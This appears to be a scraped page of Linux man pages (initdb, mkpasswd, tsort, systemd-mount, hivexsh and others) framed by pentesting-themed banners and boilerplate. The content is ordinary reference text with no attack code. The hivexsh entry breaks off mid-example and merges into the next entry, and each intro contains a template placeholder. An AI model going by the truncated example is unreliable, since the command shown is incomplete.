Print debugging output from the bootstrap backend and a few other messages of lesser interest for the general public. The bootstrap backend is the program initdb uses to create the catalog tables. This option generates a tremendous amount of extremely boring output.

–discard-caches

Run the bootstrap backend with the debug_discard_caches=1 option. This takes a very long time and is only of use for deep debugging.

-L directory

Specifies where initdb should find its input files to initialize the database cluster. This is normally not necessary. You will be told if you need to specify their location explicitly.

-n
–no-clean

By default, when initdb determines that an error prevented it from completely creating the database cluster, it removes any files it might have created before discovering that it cannot finish the job. This option inhibits tidying-up and is thus useful for debugging.

Other options:

-V
–version

Print the initdb version and exit.

-?
–help

Show help about initdb command line arguments, and exit.

ENVIRONMENT

PGDATA

Specifies the directory where the database cluster is to be stored; can be overridden using the -D option.

PG_COLOR

Specifies whether to use color in diagnostic messages. Possible values are always, auto and never.

TZ

Specifies the default time zone of the created database cluster. The value should be a full time zone name (see Section 8.5.3).

NOTES

initdb can also be invoked via pg_ctl initdb.

SEE ALSO

pg_ctl(1), postgres(1), Section 21.1

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1300 - Linux cli command mkpasswd

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mkpasswd and provides detailed information about the command mkpasswd, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mkpasswd.

NAME 🖥️ mkpasswd 🖥️

Overfeatured front end to crypt(3)

SYNOPSIS

mkpasswd PASSWORD [SALT]

DESCRIPTION

mkpasswd encrypts the given password with the crypt(3) libc function, using the given salt.

OPTIONS

-S,
**–salt=**STRING Use the STRING as salt. If it begins with $ then it will be passed straight to crypt(3) without any checks.

-R,
**–rounds=**NUMBER Use NUMBER rounds. This argument is ignored if the method chosen does not support variable rounds. For the OpenBSD Blowfish method this is the logarithm of the number of rounds. The behavior is undefined if this option is used without –method.

-m,
**–method=**TYPE Compute the password using the TYPE method. If TYPE is help then the list of available methods is printed. If TYPE begins and end with $ characters then the string is passed to crypt_gensalt(3) as-is.

-5
Like –method=md5crypt.

-P
NUM, **–password-fd=**NUM Read the password from file descriptor NUM instead of using getpass(3). If the file descriptor is not connected to a tty then no other text than the hashed password is printed on stdout.

-s, –stdin
Like –password-fd=0.

ENVIRONMENT

MKPASSWD_OPTIONS
A list of options which will be evaluated before the ones specified on the command line.

BUGS

If the –stdin option is used then passwords containing some control characters may not be read correctly.

This program suffers of a bad case of featuritis.

SEE ALSO

passwd(1), passwd(5), crypt(3), crypt(5), crypt_gensalt(3), getpass(3).

AUTHOR

mkpasswd and this man page were written by Marco d’Itri <[email protected]> and are licensed under the terms of the GNU General Public License, version 2 or later.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1301 - Linux cli command tsort

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tsort and provides detailed information about the command tsort, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tsort.

NAME 🖥️ tsort 🖥️

perform topological sort

SYNOPSIS

tsort [OPTION] [FILE]

DESCRIPTION

Write totally ordered list consistent with the partial ordering in FILE.

With no FILE, or when FILE is -, read standard input.

–help
display this help and exit

–version
output version information and exit

AUTHOR

Written by Mark Kettenis.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

Full documentation <https://www.gnu.org/software/coreutils/tsort>
or available locally via: info ‘(coreutils) tsort invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1302 - Linux cli command sqlitebrowser

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sqlitebrowser and provides detailed information about the command sqlitebrowser, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sqlitebrowser.

NAME 🖥️ sqlitebrowser 🖥️

light GUI editor for SQLite databases

SYNOPSIS

sqlitebrowser [file]

DESCRIPTION

SQLite Database Browser is a visual tool used to create, design and edit database files compatible with SQLite. It is meant to be used for users and developers that want to create databases, edit and search data using a familiar spreadsheet-like interface, without the need to learn complicated SQL commands.

SEE ALSO

SQLitebrowser’s home page: http://sqlitebrowser.sourceforge.net/.

AUTHOR

sqlitebrowser was developed originally by Mauricio Piacentini from Tabuleiro Producoes. Icons were contributed by Raquel Ravanini, also from Tabuleiro. Jens Miltner contributed the code to support SQLite 3.x databases for the 1.2 release.
In the spirit of the original SQLite source files, the authors disclaim copyright to this source code. It may be used as the basis for other programs, public domain, open source or commercial. Do whatever you want with it.

This manual page was written by François Févotte <[email protected]>, for the Debian project (but may be used by others).
Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation.
On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1303 - Linux cli command systemd-mount

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command systemd-mount and provides detailed information about the command systemd-mount, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the systemd-mount.

NAME 🖥️ systemd-mount 🖥️

mount, systemd-umount - Establish and destroy transient mount or auto-mount points

SYNOPSIS

systemd-mount [OPTIONS…] WHAT [WHERE]

systemd-mount [OPTIONS…] –tmpfs [NAME] WHERE

systemd-mount [OPTIONS…] –list

systemd-mount [OPTIONS…] –umount WHAT|WHERE

DESCRIPTION

systemd-mount may be used to create and start a transient .mount or .automount unit of the file system WHAT on the mount point WHERE.

In many ways, systemd-mount is similar to the lower-level mount(8) command, however instead of executing the mount operation directly and immediately, systemd-mount schedules it through the service manager job queue, so that it may pull in further dependencies (such as parent mounts, or a file system checker to execute a priori), and may make use of the auto-mounting logic.

The command takes either one or two arguments. If only one argument is specified it should refer to a block device or regular file containing a file system (e.g. “/dev/sdb1” or “/path/to/disk.img”). The block device or image file is then probed for a file system label and other metadata, and is mounted to a directory below /run/media/system/ whose name is generated from the file system label. In this mode the block device or image file must exist at the time of invocation of the command, so that it may be probed. If the device is found to be a removable block device (e.g. a USB stick), an automount point is created instead of a regular mount point (i.e. the –automount= option is implied, see below). If the option –tmpfs is specified, then the argument is interpreted as the path where the new temporary file system shall be mounted.

If two arguments are specified, the first indicates the mount source (the WHAT) and the second indicates the path to mount it on (the WHERE). In this mode no probing of the source is attempted, and a backing device node doesnt have to exist. However, if this mode is combined with –discover, device node probing for additional metadata is enabled, and – much like in the single-argument case discussed above – the specified device has to exist at the time of invocation of the command.

Use the –list command to show a terse table of all local, known block devices with file systems that may be mounted with this command.

systemd-umount can be used to unmount a mount or automount point. It is the same as systemd-mount –umount.

OPTIONS

The following options are understood:

–no-block

Do not synchronously wait for the requested operation to finish. If this is not specified, the job will be verified, enqueued and systemd-mount will wait until the mount or automount units start-up is completed. By passing this argument, it is only verified and enqueued.

Added in version 232.

-l, –full

Do not ellipsize the output when –list is specified.

Added in version 245.

–no-pager

Do not pipe output into a pager.

–no-legend

Do not print the legend, i.e. column headers and the footer with hints.

–no-ask-password

Do not query the user for authentication for privileged operations.

–quiet, -q

Suppresses additional informational output while running.

Added in version 232.

–discover

Enable probing of the mount source. This switch is implied if a single argument is specified on the command line. If passed, additional metadata is read from the device to enhance the unit to create. For example, a descriptive string for the transient units is generated from the file system label and device model. Moreover if a removable block device (e.g. USB stick) is detected an automount unit instead of a regular mount unit is created, with a short idle timeout, in order to ensure the file-system is placed in a clean state quickly after each access.

Added in version 232.

–type=, -t

Specifies the file system type to mount (e.g. “vfat” or “ext4”). If omitted or set to “auto”, the file system type is determined automatically.

Added in version 232.

–options=, -o

Additional mount options for the mount point.

Added in version 232.

**–owner=**USER

Let the specified user USER own the mounted file system. This is done by appending uid= and gid= options to the list of mount options. Only certain file systems support this option.

Added in version 237.

–fsck=

Takes a boolean argument, defaults to on. Controls whether to run a file system check immediately before the mount operation. In the automount case (see –automount= below) the check will be run the moment the first access to the device is made, which might slightly delay the access.

Added in version 232.

–description=

Provide a description for the mount or automount unit. See Description= in systemd.unit(5).

Added in version 232.

–property=, -p

Sets a unit property for the mount unit that is created. This takes an assignment in the same format as systemctl(1)s set-property command.

Added in version 232.

–automount=

Takes a boolean argument. Controls whether to create an automount point or a regular mount point. If true an automount point is created that is backed by the actual file system at the time of first access. If false a plain mount point is created that is backed by the actual file system immediately. Automount points have the benefit that the file system stays unmounted and hence in clean state until it is first accessed. In automount mode the –timeout-idle-sec= switch (see below) may be used to ensure the mount point is unmounted automatically after the last access and an idle period passed.

If this switch is not specified it defaults to false. If not specified and –discover is used (or only a single argument passed, which implies –discover, see above), and the file system block device is detected to be removable, it is set to true, in order to increase the chance that the file system is in a fully clean state if the device is unplugged abruptly.

Added in version 232.

-A

Equivalent to –automount=yes.

Added in version 232.

–timeout-idle-sec=

Takes a time value that controls the idle timeout in automount mode. If set to “infinity” (the default) no automatic unmounts are done. Otherwise the file system backing the automount point is detached after the last access and the idle timeout passed. See systemd.time(7) for details on the time syntax supported. This option has no effect if only a regular mount is established, and automounting is not used.

Note that if –discover is used (or only a single argument passed, which implies –discover, see above), and the file system block device is detected to be removable, –timeout-idle-sec=1s is implied.

Added in version 232.

–automount-property=

Similar to –property=, but applies additional properties to the automount unit created, instead of the mount unit.

Added in version 232.

–bind-device

This option only has an effect in automount mode, and controls whether the automount unit shall be bound to the backing devices lifetime. If set, the automount unit will be stopped automatically when the backing device vanishes. By default the automount unit stays around, and subsequent accesses will block until backing device is replugged. This option has no effect in case of non-device mounts, such as network or virtual file system mounts.

Note that if –discover is used (or only a single argument passed, which implies –discover, see above), and the file system block device is detected to be removable, this option is implied.

Added in version 232.

–list

Instead of establishing a mount or automount point, print a terse list of block devices containing file systems that may be mounted with “systemd-mount”, along with useful metadata such as labels, etc.

Added in version 232.

-u, –umount

Stop the mount and automount units corresponding to the specified mount points WHERE or the devices WHAT. systemd-mount with this option or systemd-umount can take multiple arguments which can be mount points, devices, /etc/fstab style node names, or backing files corresponding to loop devices, like systemd-mount –umount /path/to/umount /dev/sda1 UUID=xxxxxx-xxxx LABEL=xxxxx /path/to/disk.img. Note that when -H or -M is specified, only absolute paths to mount points are supported.

Added in version 233.

-G, –collect

Unload the transient unit after it completed, even if it failed. Normally, without this option, all mount units that mount and failed are kept in memory until the user explicitly resets their failure state with systemctl reset-failed or an equivalent command. On the other hand, units that stopped successfully are unloaded immediately. If this option is turned on the “garbage collection” of units is more aggressive, and unloads units regardless if they exited successfully or failed. This option is a shortcut for –property=CollectMode=inactive-or-failed, see the explanation for CollectMode= in systemd.unit(5) for further information.

Added in version 236.

-T, –tmpfs

Create and mount a new tmpfs file system on WHERE, with an optional NAME that defaults to “tmpfs”.

The file system is mounted with the top-level directory mode determined by the umask(2) setting of the caller, i.e. rwxrwxrwx masked by the umask of the caller. This matches what mkdir(1) does, but is different from the kernel default of “rwxrwxrwxt”, i.e. a world-writable directory with the sticky bit set.

Added in version 255.

–user

Talk to the service manager of the calling user, rather than the service manager of the system.

–system

Talk to the service manager of the system. This is the implied default.

-H, –host=

Execute the operation remotely. Specify a hostname, or a username and hostname separated by “@”, to connect to. The hostname may optionally be suffixed by a port ssh is listening on, separated by “:”, and then a container name, separated by “/”, which connects directly to a specific container on the specified host. This will use SSH to talk to the remote machine manager instance. Container names may be enumerated with machinectl -H HOST. Put IPv6 addresses in brackets.

-M, –machine=

Execute operation on a local container. Specify a container name to connect to, optionally prefixed by a user name to connect as and a separating “@” character. If the special string “.host” is used in place of the container name, a connection to the local system is made (which is useful to connect to a specific users user bus: “–user –[email protected]”). If the “@” syntax is not used, the connection is made as root user. If the “@” syntax is used either the left hand side or the right hand side may be omitted (but not both) in which case the local user name and “.host” are implied.

-h, –help

Print a short help text and exit.

–version

Print a short version string and exit.

EXIT STATUS

On success, 0 is returned, a non-zero failure code otherwise.

THE UDEV DATABASE

If –discover is used, systemd-mount honors a couple of additional udev properties of block devices:

SYSTEMD_MOUNT_OPTIONS=

The mount options to use, if –options= is not used.

Added in version 232.

SYSTEMD_MOUNT_WHERE=

The file system path to place the mount point at, instead of the automatically generated one.

Added in version 232.

EXAMPLE

Use a udev rule like the following to automatically mount all USB storage plugged in:

ACTION==“add”, SUBSYSTEMS==“usb”, SUBSYSTEM==“block”, ENV{ID_FS_USAGE}==“filesystem”,
RUN{program}+="/usr/bin/systemd-mount –no-block –automount=yes –collect $devnode"

SEE ALSO

systemd(1), mount(8), systemctl(1), systemd.unit(5), systemd.mount(5), systemd.automount(5), systemd-run(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1304 - Linux cli command hivexsh

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hivexsh and provides detailed information about the command hivexsh, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hivexsh.

NAME 🖥️ hivexsh 🖥️

Windows Registry hive shell

SYNOPSIS

hivexsh [-options] [hivefile]

DESCRIPTION

This program provides a simple shell for navigating Windows Registry ‘hive’ files. It uses the hivex library for access to these binary files.

Firstly you will need to provide a hive file from a Windows operating system. The hive files are usually located in C:\Windows\System32\Config and have names like software, system etc (without any file extension). For more information about hive files, read hivex (3). For information about downloading files from virtual machines, read virt-cat (1) and guestfish (1).

You can provide the name of the hive file to examine on the command line. For example:

hivexsh software

Or you can start hivexsh without any arguments, and immediately use the load command to load a hive:

$ hivexsh Welcome to hivexsh, the hivex interactive shell for examining Windows Registry binary hive files. Type: help for help with commands quit to quit the shell > load software software\

Navigate through the hive’s keys using the cd command, as if it contained a filesystem, and use ls to list the subkeys of the current key. Other commands are listed below.

OPTIONS

-d
Enable lots of debug messages. If you find a Registry file that this program cannot parse, please enable this option and post the complete output and the Registry hive file in your bug report.

-f filename
Read commands from filename instead of stdin. To write a hivexsh script, use: #!/usr/bin/hivexsh -f

-u
Use heuristics to tolerate certain levels of corruption within hives. This is unsafe but may allow to export/merge valid keys/values in an othewise corrupted hive.

-w
If this option is given, then writes are allowed to the hive (see “commit” command below, and the discussion of modifying hives in “WRITING TO HIVE FILES” in hivex (3)). Important Note: Even if you specify this option, nothing is written to a hive unless you call the “commit” command. If you exit the shell without committing, all changes will be discarded. If this option is not given, then write commands are disabled.

COMMANDS

add name
Add a subkey named name below the current node. The name may contain spaces and punctuation characters, and does not need to be quoted. The new key will have no subkeys and no values (see setval). There must be no existing subkey called name, or this command will fail. To replace an existing subkey, delete it first like this: cd name del

cd path
Change to the subkey path. Use Windows-style backslashes to separate path elements, and start with a backslash in order to start from the root of the hive. For example: cd \Classes\ moves from the root node, to the Classes node, to the * node. If you were already at the root node, you could do this instead: cd Classes\ or even: cd Classes cd * Path elements (node names) are matched case insensitively, and characters like space, *, and ? have no special significance. cd .. may be used to go to the parent directory. cd without any arguments prints the current path. Be careful with cd \ since the readline library has an undocumented behaviour where it will think the final backslash is a continuation (it reads the next line of input and appends it). Put a single space after the backslash.

close | unload
Close the currently loaded hive. If you modified the hive, all uncommitted writes are lost when you call this command (or if the shell exits). You have to call commit to write changes.

commit [newfile]
Commit changes to the hive. If the optional newfile parameter is supplied, then the hive is written to that file, else the original file is overwritten. Note that you have to specify the -w flag, otherwise no writes are allowed.

del
Delete the current node and everything beneath it. The current directory is moved up one level (as if you did cd ..) after this command. You cannot delete the root node.

exit | quit
Exit the shell.

load hivefile
Load the binary hive named hivefile. The currently loaded hive, if any, is closed. The current directory is changed back to the root node.

ls
List the subkeys of the current hive Registry key. Note this command does not take any arguments.

lsval [key]
List the (key, value) pairs of the current hive Registry key. If no argument is given then all pairs are displayed. If key is given, then the value of the named key is displayed. If @ is given, then the value of the default key is displayed.

setval nrvals
This command replaces all (key, value) pairs at the current node with the values in subsequent input. nrvals is the number of values (ie. (key, value) pairs), and any existing values at this node are deleted. So setval 0 just deletes any values at the current node. The command reads 2 * nrvals lines of input, with each pair of lines of input corresponding to a key and a value to add. For example, the following setval command replaces whatever is at the current node with two (key, value) pairs. The default key is set to the UTF16-LE-encoded string “abcd”. The other value is named “ANumber” and is a little-endian DWORD 0x12345678. setval 2 @ string:abcd ANumber dword:12345678 The first line of each pair is the key (the special key @ means the default key, but you can also use a blank line). The second line of each pair is the value, which has a special format type:value with possible types summarized in the table below: none No data is stored, and the type is set to 0. string:abc “abc” is stored as a UTF16-LE-encoded string (type 1). Note that only 7 bit ASCII strings are supported as input. expandstring:… Same as string but with type 2. dword:0x01234567 A DWORD (type 4) with the hex value 0x01234567. You can also use decimal or octal numbers here. qword:0x0123456789abcdef A QWORD (type 11) with the hex value 0x0123456789abcdef. You can also use decimal or octal numbers here. hex:<type>:<hexbytes> hex:1:41,00,42,00,43,00,44,00,00,00 This is the generic way to enter any value. <type> is the integer value type. <hexbytes> is a list of pairs of hex digits which are treated as bytes. (Any non-hex-digits here are ignored, so you can separate bytes with commas or spaces if you want).

EXAMPLE

$ guestfish –ro -i Windows7 ><fs> download win:c:\windows\system32

1305 - Linux cli command lispmtopgm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lispmtopgm and provides detailed information about the command lispmtopgm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lispmtopgm.

.

NAME 🖥️ lispmtopgm 🖥️

convert a Lisp Machine bitmap file to PGM

SYNOPSIS

lispmtopgm [lispmfile]

DESCRIPTION

This program is part of Netpbm(1) .

listpmfile reads a Lisp Machine bitmap as input and produces a PGM image as output.

This is the file format written by the tv:write-bit-array-file function on TI Explorer and Symbolics lisp machines.

Multi-plane bitmaps on lisp machines are color; but the Lispm image file format does not include a color map, so we must treat it as a monochrome instead and produce PGM. This is unfortunate.

OPTIONS

There are no command line options defined specifically for lispmtopgm, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

pgmtolispm(1) , pgm(1)

LIMITATIONS

The Lispm bitmap file format is a bit quirky; Usually the image in the file has its width rounded up to the next higher multiple of 32, but not always. If the width is not a multiple of 32, we don’t deal with it properly, but because of the Lispm microcode, such arrays are probably not image data anyway.

Also, the Lispm code for saving bitmaps has a bug, in that if you are writing a bitmap which is not mod32 across, the file may be up to 7 bits too short! They round down instead of up, and we don’t handle this bug gracefully.

AUTHOR

Copyright (C) 1991 by Jamie Zawinski and Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/lispmtopgm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1306 - Linux cli command ofs2rva

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ofs2rva and provides detailed information about the command ofs2rva, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ofs2rva.

NAME 🖥️ ofs2rva 🖥️

converts a PE raw file offset to relative virtual address

SYNOPSIS

ofs2rva offset pefile

DESCRIPTION

ofs2rva converts a raw file offset to RVA (Relative Virtual Address), if it’s valid. It’s part of pev, the PE file analysis toolkit.

offset is a valid PE file offset in decimal or hexadecimal (prefixed with 0x).

pefile is a PE32/PE32+ executable or dynamic linked library file.

OPTIONS

-V, –version
Show version.

–help
Show this help.

EXAMPLES

Get RVA of 0x1b9b8 offset of calc.exe:

$ ofs2rva 0x1b9b8 calc.exe

REPORTING BUGS

Please, check the latest development code and report at https://github.com/mentebinaria/readpe/issues

SEE ALSO

pedis(1), pehash(1), peldd(1), pepack(1), peres(1), pescan(1), pesec(1), pestr(1), readpe(1), rva2ofs(1)

COPYRIGHT

Copyright (C) 2012 - 2020 pev authors. License GPLv2+: GNU GPL version 2 or later <https://www.gnu.org/licenses/gpl-2.0.txt>. This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

rva2ofs(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1307 - Linux cli command serialver

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command serialver and provides detailed information about the command serialver, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the serialver.

NAME 🖥️ serialver 🖥️

return the serialVersionUID for one or more classes in a form suitable for copying into an evolving class

SYNOPSIS

serialver [options] [classnames]

options
This represents the command-line options for the serialver command. See Options for serialver.

classnames
The classes for which serialVersionUID is to be returned.

DESCRIPTION

The serialver command returns the serialVersionUID for one or more classes in a form suitable for copying into an evolving class. When called with no arguments, the serialver command prints a usage line.

OPTIONS FOR SERIALVER

-classpath path-files
Sets the search path for application classes and resources. Separate classes and resources with a colon (:).

****-Joption
Passes the specified option to the Java Virtual Machine, where option is one of the options described on the reference page for the Java application launcher. For example, -J-Xms48m sets the startup memory to 48 MB.

NOTES

The serialver command loads and initializes the specified classes in its virtual machine, and by default, it doesn’t set a security manager. If the serialver command is to be run with untrusted classes, then a security manager can be set with the following option:

-J-Djava.security.manager

When necessary, a security policy can be specified with the following option:

**-J-Djava.security.policy=**policy_file

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1308 - Linux cli command llvm-remarkutil-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-remarkutil-16 and provides detailed information about the command llvm-remarkutil-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-remarkutil-16.

